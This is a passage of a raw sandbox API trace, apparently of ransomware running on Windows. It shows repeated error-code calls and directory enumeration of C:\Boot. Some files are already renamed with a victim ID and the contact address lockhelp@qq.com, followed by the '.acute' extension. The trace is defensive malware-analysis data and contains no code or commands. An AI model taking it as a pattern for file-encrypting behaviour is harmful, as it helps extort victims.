[0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.349] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.350] GetLastError () returned 0x0 [0272.350] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.351] SetLastError (dwErrCode=0x0) [0272.351] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8967a610, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8967a610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x896c68d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x7c0000, dwReserved1=0x840fe8, cFileName="desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="DESKTO~1.ACU")) returned 1 [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.352] SetLastError (dwErrCode=0x0) [0272.352] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.353] SetLastError (dwErrCode=0x0) [0272.353] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.354] GetLastError () returned 0x0 [0272.354] SetLastError (dwErrCode=0x0) [0272.355] GetLastError () returned 0x0 [0272.355] SetLastError (dwErrCode=0x0) [0272.355] GetLastError () returned 0x0 [0272.355] SetLastError (dwErrCode=0x0) [0272.355] GetLastError () returned 0x0 [0272.358] SetLastError (dwErrCode=0x0) [0272.358] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.359] SetLastError (dwErrCode=0x0) [0272.359] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.360] SetLastError (dwErrCode=0x0) [0272.360] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.361] SetLastError (dwErrCode=0x0) [0272.361] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.362] SetLastError (dwErrCode=0x0) [0272.362] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.363] GetLastError () returned 0x0 [0272.363] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.364] SetLastError (dwErrCode=0x0) [0272.364] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] GetLastError () returned 0x0 [0272.365] SetLastError (dwErrCode=0x0) [0272.365] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8967a610, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8967a610, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x896c68d0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x7c0000, dwReserved1=0x840fe8, cFileName="desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="DESKTO~1.ACU")) returned 0 [0272.365] FindClose (in: hFindFile=0x806b18 | out: hFindFile=0x806b18) returned 1 [0272.365] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.365] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0272.365] FindClose (in: hFindFile=0x806ad8 | out: hFindFile=0x806ad8) returned 1 [0272.365] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x352c8d0 | out: hHeap=0x1c0000) returned 1 [0272.365] FindNextFileW (in: hFindFile=0x806a58, lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0272.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806ad8 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89712b90, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x89712b90, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89712b90, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="BOOTST~1.ACU")) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0272.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.400] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.417] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.417] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0272.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.418] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.418] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.418] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.418] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.418] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.418] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0272.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.418] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.418] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.419] GetLastError () returned 0x12 [0272.419] SetLastError (dwErrCode=0x12) [0272.419] GetLastError () returned 0x12 [0272.419] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.419] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0272.419] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x353c8d8 | out: hHeap=0x1c0000) returned 1 [0272.419] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, 